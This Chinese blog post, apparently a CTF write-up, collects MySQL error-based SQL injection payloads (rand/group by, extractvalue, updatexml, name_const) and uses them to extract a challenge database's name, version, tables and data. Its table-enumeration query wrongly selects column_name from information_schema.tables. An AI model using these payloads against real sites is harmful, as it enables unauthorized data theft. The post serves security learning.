程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> MySQL綜合教程 >> 基於錯誤回顯的sql注入整理,回顯sql注入

基於錯誤回顯的sql注入整理,回顯sql注入

編輯:MySQL綜合教程

基於錯誤回顯的sql注入整理,回顯sql注入


  由於復習,停了好幾天,今天換換模式做了一下關於錯誤回顯的ctf題目,首先附上題目:here

  整理了一下網上的一些關於錯誤回顯的方法,在這裡就不帶上地址了,請大牛們原諒:P

  0x00 關於錯誤回顯

    用我自己的話來講,基於錯誤回顯的sql注入就是通過sql語句的矛盾性來使數據被回顯到頁面上(當然在實際應用中得能回顯在頁面上,一般的網站都回避免這種情況,哈哈,要是能碰上你就偷著樂吧)。

  0x01  用於錯誤回顯的sql語句(下面的函數撸主只在mysql下試過也能成功,其他數據庫有待考證,待有實例的時候會補充)

    第一種:  基於 rand()  與  group by 的錯誤

      首先看一下關於rand()函數與group by 在mysql中的錯誤報告,沒錯,我們就是要利用group by part of rand() returns duplicate key error這個bug。

      RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

      這個bug會爆出duplicate key這個錯誤,然後順便就把數據也給爆了:P

      公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想獲取的數據的sql語句))x from information_schema.tables group by x )a) and '1' = '1

    第二種: XPATH爆信息

      這裡主要用到的是ExtractValue()UpdateXML()這2個函數,由於mysql 5.1以後提供了內置的XML文件解析和函數,所以這種注入只能用於5.1版本以後

      查看sql手冊

      語法:EXTRACTVALUE (XML_document, XPath_string);       

          第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc           第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。           作用:從目標XML中返回包含所查詢值的字符串              語法:UPDATEXML (XML_document, XPath_string, new_value);           第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc           第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。           第三個參數:new_value,String格式,替換查找到的符合條件的數據           作用:改變文檔中符合條件的節點的值       現在就很清楚了,我們只需要不滿足XPath_string(Xpath格式)就可以了,但是由於這個方法只能爆出32位,所以可以結合mid來使用
      公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想獲取的數據的sql語句)))) and '1'='1
      公式2:username=admin' and (updatexml(1, concat(0x7e,(你想獲取的數據的sql語句)),1)) and '1'='1

    第三種: 重復列爆信息(對於這種方法,我在本地數據庫上有試驗成功,但是對於下面那道並沒有什麼作用,就不仔細說明了)
      帶上代碼:
      payload  id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)

  0x02  應用     上面說了那麼多,讓我們來應用一下吧,基於這道題目     首先我們來爆出他的數據庫名   結果:r0866cplushua
username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select database()))x from information_schema.tables group by x )a) and '1' = '1
    然後爆他的數據庫版本  結果:5.1.61-Alibaba-rds-201404-log
username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select version()))x from information_schema.tables group by x )a) and '1' = '1

    接著爆他的表名   結果:log    motto   user  這裡需要一條一條爆
username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.tables where table_schema = 'r0866cplushua' limit 0,1))x from information_schema.tables group by x )a) and '1' = '1

    然後再爆他的列名  結果:id  username  motto(這裡我一開始試的是user表但是數據並沒有我們想要的,所以換了motto,也需要一條一條的爆)
username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.columns where table_name='motto' and table_schema = 'r0866cplushua' limit 0,1))x from information_schema.tables group by x )a) and '1' = '1

    最後就是爆數據了   結果:key#notfound!#    (這裡我使用了XPATH爆數據,因為不知道什麼原因用第一種方法暴不出來)
username=admin%27%20and%20(extractvalue(1,%20concat(0x7e,(SELECT%20concat(username,0x3a,motto)%20FROM%20motto%20limit%203,1))))%20and%20%271%27=%271

    到了這裡這道題目就算是做出來了。由於撸主剛剛學起上面如果有什麼錯誤,請路過的大牛指正謝謝,同時也希望大牛們可以分享一些其他的注錯方法。  

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved